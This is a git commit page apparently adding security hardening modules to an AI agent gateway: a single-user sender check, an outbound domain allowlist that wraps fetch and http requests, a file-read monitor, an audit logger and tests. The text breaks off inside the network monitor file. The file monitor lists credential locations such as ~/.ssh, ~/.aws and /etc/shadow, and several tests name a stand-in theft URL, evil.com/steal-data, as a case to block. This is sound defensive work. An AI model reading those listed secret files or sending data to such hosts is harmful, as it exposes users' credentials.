feat(security): add hardening modules for single-user auth, network whitelist, and fs monitoring

This commit is contained in:
Claude 2026-01-28 08:20:11 +00:00
parent 9688454a30
commit 29d74bfa54
No known key found for this signature in database
8 changed files with 1256 additions and 0 deletions

View File

@ -1,6 +1,7 @@
import { resolveAgentWorkspaceDir, resolveDefaultAgentId } from "../agents/agent-scope.js";
import { initSubagentRegistry } from "../agents/subagent-registry.js";
import { registerSkillsChangeListener } from "../agents/skills/refresh.js";
import { initHardening, teardownHardening } from "../security/hardening.js";
import type { CanvasHostServer } from "../canvas-host/server.js";
import { type ChannelId, listChannelPlugins } from "../channels/plugins/index.js";
import { createDefaultDeps } from "../cli/deps.js";
@ -210,6 +211,18 @@ export async function startGatewayServer(
}
const cfgAtStart = loadConfig();
// Initialize security hardening (single-user auth, network whitelist, fs monitoring)
// early, before any I/O. Controlled by config or MOLTBOT_HARDENING_ENABLED=1 env var.
const hardeningState = initHardening(cfgAtStart);
if (hardeningState.active) {
log.info(
`security hardening active: singleUser=${hardeningState.singleUser}, ` +
`network=${hardeningState.networkMonitor}, fs=${hardeningState.fsMonitor}` +
(hardeningState.logPath ? `, log=${hardeningState.logPath}` : ""),
);
}
const diagnosticsEnabled = isDiagnosticsEnabled(cfgAtStart);
if (diagnosticsEnabled) {
startDiagnosticHeartbeat();
@ -580,6 +593,7 @@ export async function startGatewayServer(
}
skillsChangeUnsub();
await close(opts);
teardownHardening();
},
};
}

170
src/security/fs-monitor.ts Normal file
View File

@ -0,0 +1,170 @@
import fs from "node:fs";
import os from "node:os";
import path from "node:path";
import { logSecurityEvent } from "./hardening-logger.js";
/**
* Default sensitive path patterns to monitor.
* Paths are resolved relative to the user's home directory.
*/
const DEFAULT_SENSITIVE_PATHS: string[] = [
"~/.ssh",
"~/.aws",
"~/.gnupg",
"~/.config/gcloud",
"~/.azure",
"~/.kube",
"~/.docker",
"~/.npmrc",
"~/.netrc",
"~/.clawdbot/credentials",
"~/.moltbot/credentials",
"~/.gitconfig",
"~/.bash_history",
"~/.zsh_history",
"/etc/shadow",
"/etc/passwd",
];
export type FsMonitorOptions = {
/** Extra sensitive paths to monitor. Supports ~ for home dir. */
extraSensitivePaths?: string[];
/** Replace the default sensitive paths entirely. */
sensitivePaths?: string[];
/** If true, block access to sensitive paths. If false, only log. Default: false (audit mode). */
enforce?: boolean;
};
let resolvedSensitivePaths: string[] | null = null;
let enforceMode = false;
let installed = false;
let originalReadFile: typeof fs.readFileSync | null = null;
let originalReadFileAsync: typeof fs.promises.readFile | null = null;
/**
* Resolve a path that may start with ~.
*/
function expandHome(p: string): string {
if (p.startsWith("~/") || p === "~") {
return path.join(os.homedir(), p.slice(1));
}
return p;
}
/**
* Check if a path falls under any sensitive path prefix.
*/
export function isSensitivePath(filePath: string): boolean {
if (!resolvedSensitivePaths) return false;
const normalized = path.resolve(filePath);
for (const sensitive of resolvedSensitivePaths) {
if (normalized === sensitive || normalized.startsWith(sensitive + path.sep)) {
return true;
}
}
return false;
}
/**
* Record an access to a sensitive file in the audit log.
* Returns true if access is allowed, false if blocked (enforce mode).
*/
export function auditFileAccess(
filePath: string,
operation: "read" | "write" | "stat" | "readdir" | "unlink",
): boolean {
if (!resolvedSensitivePaths) return true;
const normalized = path.resolve(filePath);
if (!isSensitivePath(normalized)) return true;
logSecurityEvent("sensitive_file_access", {
operation,
path: normalized,
allowed: !enforceMode,
});
return !enforceMode;
}
/**
* Install lightweight fs monitoring hooks.
* Only intercepts fs.readFileSync and fs.promises.readFile for sensitive path auditing.
* This is intentionally minimal to avoid breaking the application.
*/
export function installFsMonitor(opts?: FsMonitorOptions): void {
if (installed) return;
const rawPaths = opts?.sensitivePaths ?? [
...DEFAULT_SENSITIVE_PATHS,
...(opts?.extraSensitivePaths ?? []),
];
resolvedSensitivePaths = rawPaths.map((p) => path.resolve(expandHome(p)));
enforceMode = opts?.enforce ?? false;
// Wrap fs.readFileSync for synchronous reads
originalReadFile = fs.readFileSync;
(fs as { readFileSync: typeof fs.readFileSync }).readFileSync = ((...args: unknown[]) => {
const filePath = args[0];
if (typeof filePath === "string") {
const allowed = auditFileAccess(filePath, "read");
if (!allowed) {
throw new Error(`[fs-monitor] Blocked read access to sensitive path: ${filePath}`);
}
}
return (originalReadFile as Function).apply(fs, args);
}) as typeof fs.readFileSync;
// Wrap fs.promises.readFile for async reads
originalReadFileAsync = fs.promises.readFile;
(fs.promises as { readFile: typeof fs.promises.readFile }).readFile = (async (
...args: unknown[]
) => {
const filePath = args[0];
if (typeof filePath === "string") {
const allowed = auditFileAccess(filePath, "read");
if (!allowed) {
throw new Error(`[fs-monitor] Blocked read access to sensitive path: ${filePath}`);
}
}
return (originalReadFileAsync as Function).apply(fs.promises, args);
}) as typeof fs.promises.readFile;
installed = true;
logSecurityEvent("hardening_init", {
module: "fs-monitor",
sensitivePathCount: resolvedSensitivePaths.length,
enforce: enforceMode,
});
}
/**
* Uninstall the fs monitor, restoring original functions.
*/
export function uninstallFsMonitor(): void {
if (!installed) return;
if (originalReadFile) {
(fs as { readFileSync: typeof fs.readFileSync }).readFileSync = originalReadFile;
originalReadFile = null;
}
if (originalReadFileAsync) {
(fs.promises as { readFile: typeof fs.promises.readFile }).readFile = originalReadFileAsync;
originalReadFileAsync = null;
}
resolvedSensitivePaths = null;
installed = false;
}
/**
* Check if the fs monitor is currently active.
*/
export function isFsMonitorActive(): boolean {
return installed;
}
/** Reset internal state (test-only). */
export function __resetFsMonitorForTest(): void {
uninstallFsMonitor();
}

View File

@ -0,0 +1,99 @@
import fs from "node:fs";
import path from "node:path";
import { resolveStateDir } from "../config/paths.js";
export type SecurityEventType =
| "blocked_sender"
| "blocked_network"
| "allowed_network"
| "sensitive_file_access"
| "hardening_init"
| "hardening_error";
export type SecurityEvent = {
timestamp: string;
type: SecurityEventType;
detail: Record<string, unknown>;
};
export type HardeningLoggerOptions = {
/** Override the log file path. Defaults to ~/.clawdbot/security-audit.log */
logFile?: string;
/** Also emit events to this callback (for tests). */
onEvent?: (event: SecurityEvent) => void;
};
let logStream: fs.WriteStream | null = null;
let logFilePath: string | null = null;
let eventCallback: ((event: SecurityEvent) => void) | null = null;
/**
* Resolve the default security log path.
*/
function defaultLogPath(): string {
const stateDir = resolveStateDir();
return path.join(stateDir, "security-audit.log");
}
/**
* Initialize the hardening audit logger.
* Call once at gateway startup, before any other security module.
*/
export function initHardeningLogger(opts?: HardeningLoggerOptions): void {
if (logStream) return; // already initialized
logFilePath = opts?.logFile ?? defaultLogPath();
eventCallback = opts?.onEvent ?? null;
try {
const dir = path.dirname(logFilePath);
fs.mkdirSync(dir, { recursive: true, mode: 0o700 });
logStream = fs.createWriteStream(logFilePath, { flags: "a", mode: 0o600 });
// Silently handle write stream errors to avoid crashing the gateway.
logStream.on("error", () => {});
} catch {
// If we can't open the log file, continue without file logging.
// The onEvent callback (if set) will still work.
logStream = null;
}
}
/**
* Write a structured security event to the audit log.
*/
export function logSecurityEvent(type: SecurityEventType, detail: Record<string, unknown>): void {
const event: SecurityEvent = {
timestamp: new Date().toISOString(),
type,
detail,
};
if (logStream) {
logStream.write(JSON.stringify(event) + "\n");
}
if (eventCallback) {
eventCallback(event);
}
}
/**
* Close the audit log stream. Call on gateway shutdown.
*/
export function closeHardeningLogger(): void {
if (logStream) {
logStream.end();
logStream = null;
}
logFilePath = null;
eventCallback = null;
}
/**
* Get the current log file path (for status/diagnostics).
*/
export function getHardeningLogPath(): string | null {
return logFilePath;
}
/** Reset internal state (test-only). */
export function __resetHardeningLoggerForTest(): void {
closeHardeningLogger();
}

View File

@ -0,0 +1,421 @@
import crypto from "node:crypto";
import fs from "node:fs";
import os from "node:os";
import path from "node:path";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
import type { SecurityEvent } from "./hardening-logger.js";
import {
__resetHardeningLoggerForTest,
initHardeningLogger,
logSecurityEvent,
} from "./hardening-logger.js";
import {
__resetSingleUserEnforcerForTest,
hashSender,
initSingleUserEnforcer,
isAuthorizedSender,
isSingleUserEnforcerActive,
} from "./single-user-enforcer.js";
import {
__resetNetworkMonitorForTest,
installNetworkMonitor,
isDomainAllowed,
isNetworkMonitorActive,
} from "./network-monitor.js";
import {
__resetFsMonitorForTest,
auditFileAccess,
installFsMonitor,
isFsMonitorActive,
isSensitivePath,
} from "./fs-monitor.js";
import { initHardening, isHardeningEnabled, teardownHardening } from "./hardening.js";
// ---------------------------------------------------------------------------
// Hardening Logger
// ---------------------------------------------------------------------------
describe("hardening-logger", () => {
let tmpDir: string;
beforeEach(async () => {
__resetHardeningLoggerForTest();
tmpDir = await fs.promises.mkdtemp(path.join(os.tmpdir(), "moltbot-hardening-log-"));
});
afterEach(async () => {
__resetHardeningLoggerForTest();
await fs.promises.rm(tmpDir, { recursive: true, force: true }).catch(() => {});
});
it("writes structured events to the log file", async () => {
const logFile = path.join(tmpDir, "test-security.log");
initHardeningLogger({ logFile });
logSecurityEvent("hardening_init", { test: true });
logSecurityEvent("blocked_sender", { sender: "test" });
// Give the write stream a moment to flush
await new Promise((resolve) => setTimeout(resolve, 50));
const content = await fs.promises.readFile(logFile, "utf-8");
const lines = content.trim().split("\n").filter(Boolean);
expect(lines).toHaveLength(2);
const first = JSON.parse(lines[0]) as SecurityEvent;
expect(first.type).toBe("hardening_init");
expect(first.detail.test).toBe(true);
expect(first.timestamp).toBeTruthy();
const second = JSON.parse(lines[1]) as SecurityEvent;
expect(second.type).toBe("blocked_sender");
});
it("invokes the onEvent callback", () => {
const events: SecurityEvent[] = [];
initHardeningLogger({ logFile: path.join(tmpDir, "cb.log"), onEvent: (e) => events.push(e) });
logSecurityEvent("hardening_init", { module: "test" });
expect(events).toHaveLength(1);
expect(events[0].type).toBe("hardening_init");
});
it("does not crash when logging before init", () => {
// Should be a no-op, not a crash
logSecurityEvent("hardening_error", { error: "no init" });
});
});
// ---------------------------------------------------------------------------
// Single-User Enforcer
// ---------------------------------------------------------------------------
describe("single-user-enforcer", () => {
const testPhone = "+8613800138000";
const testHash = crypto.createHash("sha256").update(testPhone).digest("hex");
beforeEach(() => {
__resetSingleUserEnforcerForTest();
__resetHardeningLoggerForTest();
});
afterEach(() => {
__resetSingleUserEnforcerForTest();
__resetHardeningLoggerForTest();
});
it("hashSender produces correct SHA-256", () => {
const hash = hashSender(testPhone);
expect(hash).toBe(testHash);
expect(hash).toHaveLength(64);
});
it("rejects invalid hash in init", () => {
expect(() => initSingleUserEnforcer({ authorizedUserHash: "notahash" })).toThrow(
"64-char lowercase hex SHA-256",
);
});
it("allows authorized sender", () => {
const events: SecurityEvent[] = [];
initHardeningLogger({ logFile: "/dev/null", onEvent: (e) => events.push(e) });
initSingleUserEnforcer({ authorizedUserHash: testHash });
expect(isSingleUserEnforcerActive()).toBe(true);
expect(isAuthorizedSender(testPhone)).toBe(true);
// No blocked_sender event should be emitted
expect(events.filter((e) => e.type === "blocked_sender")).toHaveLength(0);
});
it("blocks unauthorized sender", () => {
const events: SecurityEvent[] = [];
initHardeningLogger({ logFile: "/dev/null", onEvent: (e) => events.push(e) });
initSingleUserEnforcer({ authorizedUserHash: testHash });
expect(isAuthorizedSender("+1234567890")).toBe(false);
expect(events.filter((e) => e.type === "blocked_sender")).toHaveLength(1);
});
it("blocks all senders when not initialized (fail-closed)", () => {
const events: SecurityEvent[] = [];
initHardeningLogger({ logFile: "/dev/null", onEvent: (e) => events.push(e) });
// Not initialized - should deny all
expect(isAuthorizedSender(testPhone)).toBe(false);
expect(events.filter((e) => e.type === "hardening_error")).toHaveLength(1);
});
it("uses constant-time comparison (functional check)", () => {
initSingleUserEnforcer({ authorizedUserHash: testHash });
// Verify it works correctly even with similar inputs
expect(isAuthorizedSender(testPhone)).toBe(true);
expect(isAuthorizedSender("+8613800138001")).toBe(false);
expect(isAuthorizedSender("+8613800138000 ")).toBe(false); // trailing space
expect(isAuthorizedSender("")).toBe(false);
});
it("is inactive before init", () => {
expect(isSingleUserEnforcerActive()).toBe(false);
});
it("accepts uppercase hash in init", () => {
const upperHash = testHash.toUpperCase();
// Should normalize to lowercase
initSingleUserEnforcer({ authorizedUserHash: upperHash });
expect(isSingleUserEnforcerActive()).toBe(true);
expect(isAuthorizedSender(testPhone)).toBe(true);
});
});
// ---------------------------------------------------------------------------
// Network Monitor
// ---------------------------------------------------------------------------
describe("network-monitor", () => {
beforeEach(() => {
__resetNetworkMonitorForTest();
__resetHardeningLoggerForTest();
});
afterEach(() => {
__resetNetworkMonitorForTest();
__resetHardeningLoggerForTest();
});
it("allows whitelisted domains", () => {
installNetworkMonitor();
expect(isDomainAllowed("api.anthropic.com")).toBe(true);
expect(isDomainAllowed("web.whatsapp.com")).toBe(true);
expect(isDomainAllowed("localhost")).toBe(true);
expect(isDomainAllowed("127.0.0.1")).toBe(true);
});
it("allows whatsapp subdomains via suffix match", () => {
installNetworkMonitor();
expect(isDomainAllowed("mmg.whatsapp.net")).toBe(true);
expect(isDomainAllowed("media-ams2-1.cdn.whatsapp.net")).toBe(true);
expect(isDomainAllowed("something.whatsapp.com")).toBe(true);
});
it("blocks non-whitelisted domains", () => {
installNetworkMonitor();
expect(isDomainAllowed("evil.com")).toBe(false);
expect(isDomainAllowed("attacker.example.org")).toBe(false);
expect(isDomainAllowed("api.openai.com")).toBe(false); // not in default list
});
it("allows extra domains when configured", () => {
installNetworkMonitor({ extraAllowedDomains: ["api.openai.com"] });
expect(isDomainAllowed("api.openai.com")).toBe(true);
expect(isDomainAllowed("evil.com")).toBe(false);
});
it("allows extra suffixes when configured", () => {
installNetworkMonitor({ extraAllowedSuffixes: [".openai.com"] });
expect(isDomainAllowed("api.openai.com")).toBe(true);
expect(isDomainAllowed("files.openai.com")).toBe(true);
expect(isDomainAllowed("evil.com")).toBe(false);
});
it("replaces default domains when allowedDomains is set", () => {
installNetworkMonitor({ allowedDomains: ["custom.example.com"] });
expect(isDomainAllowed("custom.example.com")).toBe(true);
expect(isDomainAllowed("api.anthropic.com")).toBe(false); // default removed
});
it("is case-insensitive for domain matching", () => {
installNetworkMonitor();
expect(isDomainAllowed("API.ANTHROPIC.COM")).toBe(true);
expect(isDomainAllowed("Web.WhatsApp.Com")).toBe(true);
});
it("returns true when not installed (passthrough)", () => {
expect(isDomainAllowed("anything.com")).toBe(true);
});
it("reports active status correctly", () => {
expect(isNetworkMonitorActive()).toBe(false);
installNetworkMonitor();
expect(isNetworkMonitorActive()).toBe(true);
__resetNetworkMonitorForTest();
expect(isNetworkMonitorActive()).toBe(false);
});
it("blocks fetch to non-whitelisted domain in enforce mode", async () => {
const events: SecurityEvent[] = [];
initHardeningLogger({ logFile: "/dev/null", onEvent: (e) => events.push(e) });
installNetworkMonitor({ enforce: true });
await expect(fetch("https://evil.com/steal-data")).rejects.toThrow(
"[network-monitor] Blocked outbound request to evil.com",
);
expect(events.filter((e) => e.type === "blocked_network")).toHaveLength(1);
});
it("allows fetch to whitelisted domain", async () => {
installNetworkMonitor({ enforce: true });
// This should not throw (though the actual fetch may fail due to network)
// We just verify it doesn't throw a network-monitor error
try {
await fetch("https://api.anthropic.com/v1/messages", { signal: AbortSignal.timeout(100) });
} catch (err) {
// Network error is expected (no real API key), but not a monitor block
expect(String(err)).not.toContain("[network-monitor]");
}
});
});
// ---------------------------------------------------------------------------
// File System Monitor
// ---------------------------------------------------------------------------
describe("fs-monitor", () => {
beforeEach(() => {
__resetFsMonitorForTest();
__resetHardeningLoggerForTest();
});
afterEach(() => {
__resetFsMonitorForTest();
__resetHardeningLoggerForTest();
});
it("detects sensitive paths", () => {
installFsMonitor();
const home = os.homedir();
expect(isSensitivePath(path.join(home, ".ssh", "id_rsa"))).toBe(true);
expect(isSensitivePath(path.join(home, ".aws", "credentials"))).toBe(true);
expect(isSensitivePath(path.join(home, ".gnupg", "pubring.kbx"))).toBe(true);
expect(isSensitivePath("/etc/shadow")).toBe(true);
});
it("does not flag non-sensitive paths", () => {
installFsMonitor();
expect(isSensitivePath("/tmp/safe-file.txt")).toBe(false);
expect(isSensitivePath(path.join(os.homedir(), "Documents", "notes.txt"))).toBe(false);
});
it("supports extra sensitive paths", () => {
installFsMonitor({ extraSensitivePaths: ["~/Documents/secret"] });
const secretPath = path.join(os.homedir(), "Documents", "secret", "file.txt");
expect(isSensitivePath(secretPath)).toBe(true);
});
it("audit logs sensitive file access", () => {
const events: SecurityEvent[] = [];
initHardeningLogger({ logFile: "/dev/null", onEvent: (e) => events.push(e) });
installFsMonitor();
const sshKey = path.join(os.homedir(), ".ssh", "id_rsa");
const result = auditFileAccess(sshKey, "read");
expect(result).toBe(true); // default is audit-only (no blocking)
expect(events.filter((e) => e.type === "sensitive_file_access")).toHaveLength(1);
});
it("blocks in enforce mode", () => {
const events: SecurityEvent[] = [];
initHardeningLogger({ logFile: "/dev/null", onEvent: (e) => events.push(e) });
installFsMonitor({ enforce: true });
const sshKey = path.join(os.homedir(), ".ssh", "id_rsa");
const result = auditFileAccess(sshKey, "read");
expect(result).toBe(false); // blocked
expect(events.filter((e) => e.type === "sensitive_file_access")).toHaveLength(1);
expect(events[events.length - 1].detail.allowed).toBe(false);
});
it("does not log non-sensitive access", () => {
const events: SecurityEvent[] = [];
initHardeningLogger({ logFile: "/dev/null", onEvent: (e) => events.push(e) });
installFsMonitor();
auditFileAccess("/tmp/safe.txt", "read");
expect(events.filter((e) => e.type === "sensitive_file_access")).toHaveLength(0);
});
it("returns true when not installed (passthrough)", () => {
expect(isSensitivePath(path.join(os.homedir(), ".ssh", "id_rsa"))).toBe(false);
expect(auditFileAccess("/anything", "read")).toBe(true);
});
it("reports active status correctly", () => {
expect(isFsMonitorActive()).toBe(false);
installFsMonitor();
expect(isFsMonitorActive()).toBe(true);
__resetFsMonitorForTest();
expect(isFsMonitorActive()).toBe(false);
});
});
// ---------------------------------------------------------------------------
// Hardening Integration (initHardening / isHardeningEnabled)
// ---------------------------------------------------------------------------
describe("hardening integration", () => {
beforeEach(() => {
__resetSingleUserEnforcerForTest();
__resetNetworkMonitorForTest();
__resetFsMonitorForTest();
__resetHardeningLoggerForTest();
delete process.env.MOLTBOT_HARDENING_ENABLED;
delete process.env.CLAWDBOT_HARDENING_ENABLED;
delete process.env.MOLTBOT_AUTHORIZED_USER_HASH;
delete process.env.CLAWDBOT_AUTHORIZED_USER_HASH;
});
afterEach(() => {
teardownHardening();
delete process.env.MOLTBOT_HARDENING_ENABLED;
delete process.env.CLAWDBOT_HARDENING_ENABLED;
delete process.env.MOLTBOT_AUTHORIZED_USER_HASH;
delete process.env.CLAWDBOT_AUTHORIZED_USER_HASH;
});
it("is disabled by default", () => {
expect(isHardeningEnabled({})).toBe(false);
});
it("can be enabled via config", () => {
expect(isHardeningEnabled({ security: { hardening: { enabled: true } } } as any)).toBe(true);
});
it("can be enabled via env var", () => {
process.env.MOLTBOT_HARDENING_ENABLED = "1";
expect(isHardeningEnabled({})).toBe(true);
});
it("returns inactive when disabled", () => {
const result = initHardening({});
expect(result.active).toBe(false);
});
it("initializes all modules when enabled with full config", () => {
const testHash = crypto.createHash("sha256").update("+1234567890").digest("hex");
process.env.MOLTBOT_HARDENING_ENABLED = "1";
process.env.MOLTBOT_AUTHORIZED_USER_HASH = testHash;
const result = initHardening({});
expect(result.active).toBe(true);
expect(result.singleUser).toBe(true);
expect(result.networkMonitor).toBe(true);
expect(result.fsMonitor).toBe(true);
expect(result.logPath).toBeTruthy();
});
it("initializes without single-user when no hash is provided", () => {
process.env.MOLTBOT_HARDENING_ENABLED = "1";
const result = initHardening({});
expect(result.active).toBe(true);
expect(result.singleUser).toBe(false);
expect(result.networkMonitor).toBe(true);
expect(result.fsMonitor).toBe(true);
});
});

218
src/security/hardening.ts Normal file
View File

@ -0,0 +1,218 @@
/**
* Security hardening module - entry point.
*
* Provides single-user authorization, network domain whitelisting,
* and file system access monitoring for secure single-user deployments.
*
* Enable by setting `security.hardening.enabled: true` in config or
* `MOLTBOT_HARDENING_ENABLED=1` environment variable.
*
* Configuration (in moltbot.json):
* security: {
* hardening: {
* enabled: true,
* authorizedUserHash: "<sha256 hex of your E.164 phone>",
* network: {
* enforce: true,
* extraAllowedDomains: ["api.openai.com"],
* extraAllowedSuffixes: [".openai.com"],
* logAllowed: false,
* },
* filesystem: {
* enforce: false,
* extraSensitivePaths: ["~/Documents/secret"],
* },
* },
* }
*
* Or via environment variables:
* MOLTBOT_HARDENING_ENABLED=1
* MOLTBOT_AUTHORIZED_USER_HASH=<sha256>
* MOLTBOT_HARDENING_NETWORK_ENFORCE=1
* MOLTBOT_HARDENING_FS_ENFORCE=0
*/
import type { MoltbotConfig } from "../config/config.js";
import {
closeHardeningLogger,
getHardeningLogPath,
initHardeningLogger,
logSecurityEvent,
} from "./hardening-logger.js";
import { initSingleUserEnforcer, isSingleUserEnforcerActive } from "./single-user-enforcer.js";
import {
installNetworkMonitor,
isNetworkMonitorActive,
uninstallNetworkMonitor,
} from "./network-monitor.js";
import { installFsMonitor, isFsMonitorActive, uninstallFsMonitor } from "./fs-monitor.js";
export type HardeningConfig = {
enabled?: boolean;
/** SHA-256 hex hash of the authorized user's E.164 phone number. */
authorizedUserHash?: string;
network?: {
enforce?: boolean;
extraAllowedDomains?: string[];
extraAllowedSuffixes?: string[];
logAllowed?: boolean;
};
filesystem?: {
enforce?: boolean;
extraSensitivePaths?: string[];
};
};
/**
* Extract hardening config from the app config and environment.
*/
function resolveHardeningConfig(cfg: MoltbotConfig): HardeningConfig {
const security = (cfg as Record<string, unknown>).security as Record<string, unknown> | undefined;
const hardening = security?.hardening as HardeningConfig | undefined;
return hardening ?? {};
}
/**
* Check if hardening is enabled via config or environment.
*/
export function isHardeningEnabled(cfg: MoltbotConfig): boolean {
const config = resolveHardeningConfig(cfg);
if (config.enabled === true) return true;
if (config.enabled === false) return false;
// Also check environment variable
const envFlag = process.env.MOLTBOT_HARDENING_ENABLED ?? process.env.CLAWDBOT_HARDENING_ENABLED;
return envFlag === "1" || envFlag === "true";
}
/**
* Initialize all security hardening modules.
* Should be called very early in gateway startup, before any I/O.
*/
export function initHardening(cfg: MoltbotConfig): {
active: boolean;
singleUser: boolean;
networkMonitor: boolean;
fsMonitor: boolean;
logPath: string | null;
} {
if (!isHardeningEnabled(cfg)) {
return {
active: false,
singleUser: false,
networkMonitor: false,
fsMonitor: false,
logPath: null,
};
}
const config = resolveHardeningConfig(cfg);
// 1. Initialize audit logger first (all other modules depend on it).
initHardeningLogger();
logSecurityEvent("hardening_init", {
module: "hardening",
message: "Security hardening starting",
});
// 2. Single-user enforcer (if hash is configured).
const userHash =
config.authorizedUserHash ??
process.env.MOLTBOT_AUTHORIZED_USER_HASH ??
process.env.CLAWDBOT_AUTHORIZED_USER_HASH;
let singleUserActive = false;
if (userHash) {
try {
initSingleUserEnforcer({ authorizedUserHash: userHash });
singleUserActive = true;
} catch (err) {
logSecurityEvent("hardening_error", {
module: "single-user-enforcer",
error: String(err),
});
}
}
// 3. Network monitor.
let networkActive = false;
try {
const networkEnforceEnv =
process.env.MOLTBOT_HARDENING_NETWORK_ENFORCE ??
process.env.CLAWDBOT_HARDENING_NETWORK_ENFORCE;
installNetworkMonitor({
enforce:
config.network?.enforce ?? (networkEnforceEnv === "1" || networkEnforceEnv === "true"),
extraAllowedDomains: config.network?.extraAllowedDomains,
extraAllowedSuffixes: config.network?.extraAllowedSuffixes,
logAllowed: config.network?.logAllowed ?? false,
});
networkActive = true;
} catch (err) {
logSecurityEvent("hardening_error", {
module: "network-monitor",
error: String(err),
});
}
// 4. File system monitor.
let fsActive = false;
try {
const fsEnforceEnv =
process.env.MOLTBOT_HARDENING_FS_ENFORCE ?? process.env.CLAWDBOT_HARDENING_FS_ENFORCE;
installFsMonitor({
enforce: config.filesystem?.enforce ?? (fsEnforceEnv === "1" || fsEnforceEnv === "true"),
extraSensitivePaths: config.filesystem?.extraSensitivePaths,
});
fsActive = true;
} catch (err) {
logSecurityEvent("hardening_error", {
module: "fs-monitor",
error: String(err),
});
}
logSecurityEvent("hardening_init", {
module: "hardening",
message: "Security hardening initialized",
singleUser: singleUserActive,
networkMonitor: networkActive,
fsMonitor: fsActive,
});
return {
active: true,
singleUser: singleUserActive,
networkMonitor: networkActive,
fsMonitor: fsActive,
logPath: getHardeningLogPath(),
};
}
/**
* Tear down all hardening modules. Call on gateway shutdown.
*/
export function teardownHardening(): void {
uninstallNetworkMonitor();
uninstallFsMonitor();
closeHardeningLogger();
}
/**
* Get the current hardening status for diagnostics.
*/
export function getHardeningStatus(): {
active: boolean;
singleUser: boolean;
networkMonitor: boolean;
fsMonitor: boolean;
logPath: string | null;
} {
return {
active: isSingleUserEnforcerActive() || isNetworkMonitorActive() || isFsMonitorActive(),
singleUser: isSingleUserEnforcerActive(),
networkMonitor: isNetworkMonitorActive(),
fsMonitor: isFsMonitorActive(),
logPath: getHardeningLogPath(),
};
}

View File

@ -0,0 +1,237 @@
import http from "node:http";
import https from "node:https";
import { logSecurityEvent } from "./hardening-logger.js";
/**
* Default domain whitelist for single-user secure mode.
* Only these domains (and their subdomains) are allowed for outbound requests.
*/
const DEFAULT_ALLOWED_DOMAINS: string[] = [
// Claude / Anthropic API
"api.anthropic.com",
// WhatsApp Web protocol (Baileys)
"web.whatsapp.com",
"w1.web.whatsapp.com",
"w2.web.whatsapp.com",
"w3.web.whatsapp.com",
"w4.web.whatsapp.com",
"w5.web.whatsapp.com",
"w6.web.whatsapp.com",
"w7.web.whatsapp.com",
"w8.web.whatsapp.com",
"w9.web.whatsapp.com",
// WhatsApp media servers
"mmg.whatsapp.net",
"media.whatsapp.com",
"media-ams2-1.cdn.whatsapp.net",
// WhatsApp general
"g.whatsapp.net",
"v.whatsapp.net",
"pps.whatsapp.net",
// Localhost / loopback (gateway internal)
"localhost",
"127.0.0.1",
"::1",
"[::1]",
];
/** Suffix patterns that match any subdomain (e.g. ".whatsapp.net" matches "mmg.whatsapp.net") */
const DEFAULT_ALLOWED_SUFFIXES: string[] = [".whatsapp.net", ".whatsapp.com", ".cdn.whatsapp.net"];
export type NetworkMonitorOptions = {
/** Extra domains to allow beyond the defaults. */
extraAllowedDomains?: string[];
/** Extra domain suffixes to allow (e.g. ".openai.com"). */
extraAllowedSuffixes?: string[];
/** Replace the default whitelist entirely. */
allowedDomains?: string[];
/** Replace the default suffix whitelist entirely. */
allowedSuffixes?: string[];
/** If true, log allowed requests too (verbose). Default: false. */
logAllowed?: boolean;
/** If true, block disallowed requests. If false, only log (monitor mode). Default: true. */
enforce?: boolean;
};
let allowedDomainSet: Set<string> | null = null;
let allowedSuffixList: string[] | null = null;
let logAllowedRequests = false;
let enforceMode = true;
let originalFetch: typeof globalThis.fetch | null = null;
let originalHttpRequest: typeof http.request | null = null;
let originalHttpsRequest: typeof https.request | null = null;
let installed = false;
/**
* Check if a hostname is allowed by the whitelist.
*/
export function isDomainAllowed(hostname: string): boolean {
if (!allowedDomainSet || !allowedSuffixList) return true; // not initialized = passthrough
const normalized = hostname.trim().toLowerCase().replace(/\.$/, "");
if (!normalized) return false;
if (allowedDomainSet.has(normalized)) return true;
for (const suffix of allowedSuffixList) {
if (normalized.endsWith(suffix)) return true;
}
return false;
}
/**
* Extract hostname from a URL string or Request object.
*/
function extractHostname(input: string | URL | Request): string | null {
try {
const urlStr =
typeof input === "string" ? input : input instanceof URL ? input.href : input.url;
const parsed = new URL(urlStr);
return parsed.hostname;
} catch {
return null;
}
}
/**
* Install the network monitor by wrapping global.fetch and http(s).request.
*/
export function installNetworkMonitor(opts?: NetworkMonitorOptions): void {
if (installed) return;
const domains = opts?.allowedDomains ?? [
...DEFAULT_ALLOWED_DOMAINS,
...(opts?.extraAllowedDomains ?? []),
];
const suffixes = opts?.allowedSuffixes ?? [
...DEFAULT_ALLOWED_SUFFIXES,
...(opts?.extraAllowedSuffixes ?? []),
];
allowedDomainSet = new Set(domains.map((d) => d.trim().toLowerCase()));
allowedSuffixList = suffixes.map((s) => s.trim().toLowerCase());
logAllowedRequests = opts?.logAllowed ?? false;
enforceMode = opts?.enforce !== false;
// Wrap global.fetch
originalFetch = globalThis.fetch;
globalThis.fetch = (async (input: RequestInfo | URL, init?: RequestInit): Promise<Response> => {
const hostname = extractHostname(input as string | URL | Request);
if (hostname && !isDomainAllowed(hostname)) {
logSecurityEvent("blocked_network", {
method: "fetch",
hostname,
url: String(
typeof input === "string" ? input : input instanceof URL ? input.href : input.url,
).slice(0, 200),
});
if (enforceMode) {
throw new Error(`[network-monitor] Blocked outbound request to ${hostname}`);
}
} else if (hostname && logAllowedRequests) {
logSecurityEvent("allowed_network", {
method: "fetch",
hostname,
});
}
return originalFetch!(input, init);
}) as typeof globalThis.fetch;
// Wrap http.request
originalHttpRequest = http.request;
(http as { request: typeof http.request }).request = ((...args: unknown[]) => {
const hostname = extractHostnameFromHttpArgs(args);
if (hostname && !isDomainAllowed(hostname)) {
logSecurityEvent("blocked_network", { method: "http.request", hostname });
if (enforceMode) {
throw new Error(`[network-monitor] Blocked outbound HTTP request to ${hostname}`);
}
} else if (hostname && logAllowedRequests) {
logSecurityEvent("allowed_network", { method: "http.request", hostname });
}
return (originalHttpRequest as Function).apply(http, args);
}) as typeof http.request;
// Wrap https.request
originalHttpsRequest = https.request;
(https as { request: typeof https.request }).request = ((...args: unknown[]) => {
const hostname = extractHostnameFromHttpArgs(args);
if (hostname && !isDomainAllowed(hostname)) {
logSecurityEvent("blocked_network", { method: "https.request", hostname });
if (enforceMode) {
throw new Error(`[network-monitor] Blocked outbound HTTPS request to ${hostname}`);
}
} else if (hostname && logAllowedRequests) {
logSecurityEvent("allowed_network", { method: "https.request", hostname });
}
return (originalHttpsRequest as Function).apply(https, args);
}) as typeof https.request;
installed = true;
